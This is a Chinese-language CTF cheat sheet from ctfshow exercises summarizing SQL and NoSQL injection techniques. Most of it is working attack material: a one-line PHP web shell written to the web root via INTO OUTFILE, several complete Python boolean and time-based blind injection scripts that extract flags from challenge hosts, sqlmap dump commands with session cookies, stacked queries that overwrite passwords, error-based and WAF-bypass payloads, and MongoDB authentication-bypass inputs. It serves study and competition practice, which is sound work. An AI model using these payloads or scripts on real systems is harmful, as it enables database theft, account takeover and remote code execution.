ctfshow-SQL注入总结
过滤某些字符
使用Replace进行替代
如过滤数字
select username, replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password, 0, '!'), 1, '@'), 2, '#'), 3, '$'), 4, '%'), 5, '^'), 6, '&'), 7, '*'), 8, '('), 9, ')') from user;
直接写shell
SELECT 1, '<?php @eval($_POST[x]);?>' INTO OUTFILE '/var/www/html/1.php'
bool盲注小脚本
无空格
import requests
import time
def get_response(result):
url = 'http://e952e288-3d6c-4c73-9f3c-9bdf904827d5.challenge.ctf.show/select-waf.php'
payload = "`ctfshow_user`where`pass`regexp'^{}'"
dic = 'ctfshow{034e69f-a87bdgijklmnpqruvxyz125_}'
data = {
'tableName': payload
}
for word in dic:
data['tableName'] = payload.format(result + word)
response = requests.post(url, data=data)
time.sleep(0.25)
if response.text.find('$user_count = 1;') > 0:
result += word
return result
if __name__ == '__main__':
result = ''
for i in range(55):
result = get_response(result)
print(result)
有空格无引号
import requests
import time
def str2hex(string):
result = ''
for word in string:
result += hex(ord(word))
return result.replace('0x', '')
def get_response(result):
url = 'http://61dea855-662d-4843-bd43-4518d01c80f6.challenge.ctf.show/select-waf.php'
payload = "ctfshow_user group by pass having pass regexp(0x{})"
dic = 'ctfshow{034e69f-a87bdgijklmnpqruvxyz125_}'
data = {
'tableName': payload
}
for word in dic:
data['tableName'] = payload.format(str2hex(result) + str2hex(word))
response = requests.post(url, data=data)
time.sleep(0.25)
if response.text.find('$user_count = 1;') > 0:
result += word
return result
if __name__ == '__main__':
result = ''
for i in range(55):
result = get_response(result)
print(result)
有空格无引号无数字
import requests
import time
true_dict = {
'0': 'false',
'1': 'true',
}
for i in range(2, 10):
true_dict[str(i)] = true_dict['1'] + '+true' * (i - 1)
def word2char(word):
num = str(ord(word))
result = 'char(concat('
for i in range(len(num)):
if i == 0:
result += '(' + true_dict[num[i]] + ')'
else:
result += ',(' + true_dict[num[i]] + ')'
result += '))'
return result
def sentence2true(string):
final_pass = ''
if string:
for i in range(len(string)):
if i == 0:
final_pass += word2char(string[i])
else:
final_pass += ',' + word2char(string[i])
final_pass += ''
return final_pass
def get_response(result):
url = 'http://283b4efa-e5be-454c-8b79-58af5d20673d.challenge.ctf.show/select-waf.php'
payload = "ctfshow_user group by pass having pass regexp(concat(char(concat((true+true+true+true+true+true+true+true+true),(true+true+true+true))),{}))"
dic = 'ctfshow{034e69f-a87bdgijklmnpqruvxyz125_}'
data = {
'tableName': payload
}
for word in dic:
data['tableName'] = payload.format(sentence2true(result + word))
response = requests.post(url, data=data)
time.sleep(0.25)
if response.text.find('$user_count = 1;') > 0:
result += word
return result
if __name__ == '__main__':
result = ''
for i in range(55):
result = get_response(result)
print(result)
ffifdyop 绕过
经过md5加密后:276f722736c95d99e921722cf9ed621c
再转换为字符串:'or'6<乱码> 即 'or'66�]��!r,��b
用法
select * from admin where password=''or'6<乱码>'
就相当于select * from admin where password=''or 1 实现sql注入
MySQL弱类型
select pass from ctfshow_user where username = 0;
# 返回所有字母开头的字符串
select pass from ctfshow_user where username = 1;
# 返回所有有且仅以1开头的字符串
简单盲注
import requests
import time
result = ""
url = 'http://986b6ffa-086c-4650-8237-9557e9bd100c.challenge.ctf.show/api/'
for i in range(80):
min_num = 32
max_num = 127
while True:
mid_num = (min_num + max_num) >> 1
if mid_num == min_num:
result += chr(mid_num)
print(result)
break
# table_name = ctfshow_fl0g,ctfshow_user
# column_name = id,f1ag
# payload = "admin' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),{},1))<{}#".format(i, mid_num)
payload = "admin' and ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{}#".format(i, mid_num)
data = {
'username': payload,
'password': 0
}
response = requests.post(url, data=data)
time.sleep(0.25)
if response.text.find('8bef') > 0:
max_num = mid_num
else:
min_num = mid_num
简单时间盲注
import requests
import time
dic = ' ,ctfshow{}abdegijklmnpqruvxyz0123456789-_{}ABCDEFGHIJKLMNOPQRSTUVWXYZ'
url = 'http://414da80d-977f-4f64-baf7-5a7adbebb60a.challenge.ctf.show/api/'
result = ''
for i in range(1, 60):
for word in dic:
# payload = "admin' and if(left(database(),{0})='{1}',sleep(3),0)#".format(i, result + word)
# payload = "admin' and if(left((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{0})='{1}',sleep(3),0)#".format(i, result + word)
# payload = "admin' and if(left((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{})='{}',sleep(3),0)#".format(i, result + word)
payload = "admin' and if(left((select f1ag from ctfshow_flxg),{})='{}',sleep(3),0)#".format(i, result + word)
data = {
'username': payload,
'password': 0
}
try:
response = requests.post(url, data=data, timeout=2.5)
time.sleep(0.25)
except:
result += word
print(result)
break
堆叠注入
修改密码
0;update`ctfshow_user`set`pass`=1;
sqlmap!
加上Content-Type
python sqlmap.py -u "http://3ab9b1ae-c170-40ff-af42-ad033c60ce68.challenge.ctf.show/api/index.php" --referer="http://3ab9b1ae-c170-40ff-af42-ad033c60ce68.challenge.ctf.show/sqlmap.php" --user-agent="sqlmap" --method=PUT --data="id=1" --header="Content-Type:plain/text" -D "ctfshow_web" -T "ctfshow_user" --dump
加上Cookie
python sqlmap.py -u "http://017da1d4-5a01-4fcd-8324-47eadbc8fed8.challenge.ctf.show/api/index.php" --cookie="UM_distinctid=17f8dc066e5110a-0a79e2943123cb-977173c-1fa400-17f8dc066e61408;PHPSESSID=da5hb4a6u61on4t4lhffegge1k;ctfshow=44256962b9536d9df3dc866f7ee2280d" --referer="ctf.show" --user-agent="sqlmap" --data="id=1" --dbs
加上权限鉴别
python sqlmap.py -u "http://79733793-f03e-4d3a-b82b-db5ee53ef35c.challenge.ctf.show/api/index.php" --safe-url="http://79733793-f03e-4d3a-b82b-db5ee53ef35c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=j9f8jf9tfmhigi2vd4c0mfsr17" --user-agent="sqlmap" --referer="ctf.show" --data="id=1" --method="PUT" --header="Content-Type:plain/text" --dbs
简单插件编写
python sqlmap.py -u "http://4480449f-c1fb-47ab-a2a4-f244b02da199.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://4480449f-c1fb-47ab-a2a4-f244b02da199.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper="space.py,208.py" --cookie="PHPSESSID=9k8plr4bg5iv6o5rf8pcv951s2" --referer="ctf.show" --method="PUT" --header="Content-Type:plain/text" -D "ctfshow_web" -T "ctfshow_flaxca" --dump
MySQL延时函数
sleep()
benchmark
benchmark(100000, sha(1))
rlike
此为延时五秒
select concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b';
笛卡尔积
select count(*) from information_schema.tables a, information_schema.tables b, information_schema.tables c
LIMIT 注入
limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)
group by 注入
group by if(1,sleep(3),1)
简单二分法盲注脚本编写
import requests
import time
result = ""
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0",
"Cookie": "PHPSESSID=krinjq6udbrkf7edq1co1uohcq",
"Referer": "http://29e88e4d-f61f-48e3-8a9b-452c8e6d7d90.challenge.ctf.show/other.php"
}
url = "http://29e88e4d-f61f-48e3-8a9b-452c8e6d7d90.challenge.ctf.show/api/?page=1&limit=10&u="
def getTrue(num):
val = "true"
if num == 1:
return val
for i in range(num - 1):
val += "%2Btrue"
return val
for i in range(1, 65):
min_num = 32
max_num = 127
while True:
mid_num = (min_num + max_num) >> 1
if mid_num == min_num:
result += chr(mid_num)
print(result)
break
# payload = "if(ascii(substr((select database()),{},{}))<{},username,'a')#".format("("+getTrue(i)+")", "("+getTrue(1)+")", "("+getTrue(mid_num)+")")
# payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},{}))<{},username,'a')#".format("(" + getTrue(i) + ")",
# "(" + getTrue(1) + ")",
# "(" + getTrue(mid_num) + ")")
# payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagas'),{},{}))<{},username,'a')#".format(
# "(" + getTrue(i) + ")",
# "(" + getTrue(1) + ")",
# "(" + getTrue(mid_num) + ")")
payload = "if(ascii(substr((select flagasabc from ctfshow_flagas),{},{}))<{},username,'a')#".format(
"(" + getTrue(i) + ")",
"(" + getTrue(1) + ")",
"(" + getTrue(mid_num) + ")")
response = requests.get(url + payload, headers=headers)
time.sleep(0.25)
if response.text.find("user1") > 0:
max_num = mid_num
else:
min_num = mid_num
堆叠注入提升
SQL注入预编译拼接命令
prepare p from concat('s','elect','* from ctfshow_flagasa');
execute p;
或可以直接写为
prepare p from 0x......;
execute p;
MySQL特有-handler
handler ctfshow_user open;
handler ctfshow_user read first;
handler ctfshow_user read next;
MySQL 查看存储过程和函数
查看存储过程和函数的状态
SHOW {PROCEDURE | FUNCTION} STATUS [LIKE 'pattern']
SHOW STATUS语句是MySQL的一个扩展。它返回子程序的特征,如数据库、名字、类型、创建者及创建和修改日期。
PROCEDURE查看存储过程
FUNCTION查看函数
LIKE匹配存储过程或函数的名称
查看存储过程和函数的定义
SHOW CREATE {PROCEDURE | FUNCTION} sp_name
SHOW CREATE是MySQL的一个扩展,类似于SHOW CREATE TABLE,它返回一个可用来重新创建已命名子程序的确切字符串。
查看存储过程和函数的信息
在MySQL中,存储过程和函数的信息存储在information_schema数据库下的Routines表中,可以通过查询该表的记录来查询存储过程和函数的信息,其基本的语法形式如下:
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME = 'sp_name';
其中,ROUTINE_NAME字段中存储的是存储过程和函数的名称,sp_name参数表示存储过程或函数的名称
调用存储过程
call getFlag();
update注入
update cuser set password='1',username=(select database());
Bypass information_schema与无列名注入
Bypass information_schema
sys.schema_auto_increment_columns
select table_name from sys.schema_auto_increment_columns;
select table_schema from sys.schema_auto_increment_columns;
sys.schema_table_statistics_with_buffer
select table_name from sys.schema_table_statistics_with_buffer;
select table_schema from sys.schema_table)statistics_with_buffer;
sys.x$schema_table_statistics_with_buffer
select table_name from sys.x$schema_table_statistics_with_buffer;
select table_schema from sys.x$schema_table_statistics_with_buffer;
mysql.innodb_table_stats
select table_name from mysql.innodb_table_stats where database_name='practice';
无列名注入
利用join进行无列名注入
通过系统关键词join可建立两个表之间的内连接,通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列明存在),而发生错误。并且报错信息会存在重复的列名,因此可以使用USING表达式声明内连接(INNER JOIN)条件来避免报错
select * from (select * from cuser as a join cuser as b) as c;
select * from (select * from cuser as a join cuser as b using(id)) as c;
select * from (select * from cuser as a join cuser as b using(id, username, password)) as c;
利用普通子查询
select `3` from (select 1,2,3 union select * from cuser) a;
过滤反引号时候可以使用别名
select c from (select 1,2,3 as c union select * from cuser) a;
insert注入
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
可以将username闭合,后面跟上需要的信息
update同理
delete注入
思路:时间盲注
FILE注入
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
"OPTION"参数为可选参数选项,其可能的取值有:
FIELDS TERMINATED BY '字符串':设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
FIELDS ENCLOSED BY '字符':设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
FIELDS OPTIONALLY ENCLOSED BY '字符':设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
FIELDS ESCAPED BY '字符':设置转义字符,只能为单个字符。默认值为“\”。
LINES STARTING BY '字符串':设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
LINES TERMINATED BY '字符串':设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”
可利用选项
- FIELDS TERMINATED BY
- LINES STARTING BY
- LINES TERMINATED BY
报错注入
为何要用0x7e
因为0x7e,即~在xpath语法中不存在,故总能报错。
updatexml
or updatexml(1,(concat(0x7e,(select database()))),1)--+
extractvalue()
or extractvalue(1, concat(0x7e, (select database())))--+
双查询注入
floor()可以替换为ceil()或者round()
id=1' union select 1,count(*),concat((select database()),0x7e,floor(rand()*2))a from information_schema.columns group by a--+
UDF
什么是UDF
全称是User defined function(用户自定义函数)
详细看
https://www.k0rz3n.com/2018/10/21/Mysql 在渗透测试中的利用/#三、MYSQL-UDF-提权
NoSQL注入
重言式
即永真式,此类攻击在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制
<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$dbUsername = null;
$dbPassword = null;
$data = array(
'username' => $_REQUEST['username'],
'password' => $_REQUEST['password']
);
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('test.users', $query)->toArray();
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}
我们从代码中可以看出,这里对用户输入没有做任何校验,那么我们可以通过构造一个永真的条件就可以完成NoSQL注入。MongoDB基础我在本文不再赘述,直接构造payload:username[$ne]=1&password[$ne]=1的payload.
对于PHP本身的特性而言,由于其松散的数组特性,导致如果我们输入value=1那么,也就是输入了一个value的值为1的数据。如果输入value[\(ne]=1也就意味着value=array(\)ne=>1),在MongoDB中,原来的一个单个目标的查询变成了条件查询。同样的,我们也可以使用username[\(gt]=&password[\)gt]=作为payload进行攻击。
联合查询
我们都知道在SQL时代拼接字符串容易造成SQL注入,NoSQL也有类似问题,但是现在无论是PHP的MongoDB driver还是node.js的mongoose都要求查询条件必须是一个数组或者对象了,因此简单看一下就好。
string query ="{ username: '" + post_username + "', password: '" + post_password + "' }"
payload:
username=tolkien', $or: [ {}, { 'a':'a&password=' } ]
JavaScript注入
由允许执行数据内容中JavaScript的NoSQL数据库引入的。JavaScript使在数据引擎进行复杂事务和查询变成可能。传递不干净的用户输入到这些查询中额可以注入任意JS代码,此方法会导致非法的数据获取或篡改。

浙公网安备 33010602011771号